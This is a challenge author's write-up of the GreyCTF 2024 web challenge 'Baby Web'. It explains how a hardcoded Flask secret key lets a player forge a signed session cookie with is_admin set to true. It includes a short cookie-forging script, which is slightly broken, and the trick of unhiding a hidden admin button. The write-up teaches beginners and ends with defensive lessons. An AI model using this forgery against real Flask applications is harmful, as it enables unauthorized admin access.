Skip to main content
  1. My Blog Posts and Stories/

GreyCTF 2024 Baby Web

··748 words·4 mins

This is the author’s writeup for the challenge Baby Web in the web category.

This describes the intended solution when I made the challenge.

Challenge description #

I just learnt how to design my favourite flask webpage using htmx and bootstrap. I hope I don’t accidentally expose my super secret flag.

  • Junhua

A main.py file is provided for this challenge.

My Notes #

This is meant to be a beginner web CTF challenge that tests on the following concepts:

  1. Leaked Secrets
  2. Flask Session Signing
  3. Inspect Element to find hidden elements

Analyzing the main.py file #

import os
from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")


@app.route("/", methods=["GET"])
def index():
    # Set session if not found
    if "is_admin" not in session:
        session["is_admin"] = False
    return render_template("index.html")


@app.route("/admin")
def admin():
    # Check if the user is admin through cookies
    return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))

### Some other hidden code ###


if __name__ == "__main__":
    app.run(debug=True)

Above is the full source code for the main.py file provided. The web server is made using Flask

There are a few different things to note from here.

  1. The secret key is hardcoded in the source code provided.
  2. The is_admin attribute is stored in the Flask session

Flask Sessions #

In addition to the request object there is also a second object called session which allows you to store information specific to a user from one request to the next. This is implemented on top of cookies for you and signs the cookies cryptographically.

Based on the official documentation for Flask Sessions. The session object in Flask is implemented as a cookie and the cookie is signed Cryptographically.

# Flask session cookie
session_cookie = f"{data}.{timestamp}.{signature}"

# JWT token
jwt_token = f"{header}.{data}.{signature}"

A Flask session object is in a very similar format to the JWT token.

To find out more about how Flask sessions work, you can look at [this blog post by Paradoxis](https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce “Baking Flask cookies with your secrets)

Fun Fact: You can render a flask session cookie with a jwt renderer. However, header will contain the data instead.

Webpage Cookies
Webpage Cookies

eyJpc19hZG1pbiI6ZmFsc2V9.Zhqjhg.BL2a6FT6cTDM94ZGavsKcWOUf4k

When we visiting the website, we will see that we have been assigned a new cookie called session in our cookies.

JWT.IO website
JWT IO Website

Placing it into the JWT.io website, we can see that the data is in the format of {"is_admin": false}.

Also notice that at the bottom of the page, it shows Invalid Signature. This means that we do not have the correct secret key to sign the cookie.

Leaked secret key #

From the source code, we can see that the secret key is hardcoded in the source code as baby-web.

from flask import Flask, session
from flask.sessions import SecureCookieSessionInterface

WEBSITE_URL = "http://localhost:29874"

app = Flask(__name__)
app.secret_key = "baby-web"
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)


if __name__ == '__main__":
    with app.test_request_context():
        session["is_admin"] = True
        print(str(session_serializer.dumps(session)))


if __name__ == "__main__":
    cookie = generate_cookie() # eyJpc19hZG1pbiI6dHJ1ZX0.ZhohxA.0NiO3Y6D4T75zNZPwyctkrwcqsk

Solving the challenge #

Using the secret key, we can generate a new session cookie with the code snippet above. We can simply override the cookie on the website to get the flag.

Admin Page
Updated Admin Page

After we override the cookie, we can see that the website still does not show the flag.

Looking at the html page #

Looking at the page, we can see that there is a hidden element that is not shown on the page.

<button
  type="button"
  class="btn btn-primary"
  data-bs-toggle="modal"
  data-bs-target="#exampleModal"
  hidden
>
  Super Secret Admin Button
</button>

By removing the hidden attribute, we can see that there is a button that is hidden from the user.

Hidden Button
Hidden button shown

After clicking on the button, a modal shows up with a new modal that has another button.

Modal Btn
Modal Button

By clicking on the button, we can see that the flag is shown.

Solved
solve page

Other easter eggs #

Home Page
Home Page

In the home page, there is also another button that shows up as a Request for Admin Access button.

Request form
Request form

When the user clicks on the button, they are greeted with a form that asks for their user and email.

Rick Roll
Rick Roll

However, regardless of whatever they keyed in, submitting the form will return a rick roll video on the modal.

Conclusion #

I hope that this challenges teaches beginners about how Flask sessions work. Some lessons to be learnt from this CTF challenge includes:

  1. Never hardcode secrets / use weak secrets in your Flask secrets
  2. Do not hide sensitive information in your webpage behind hidden attributes.
  1. Paradoxis Blog Post
  2. JWT.io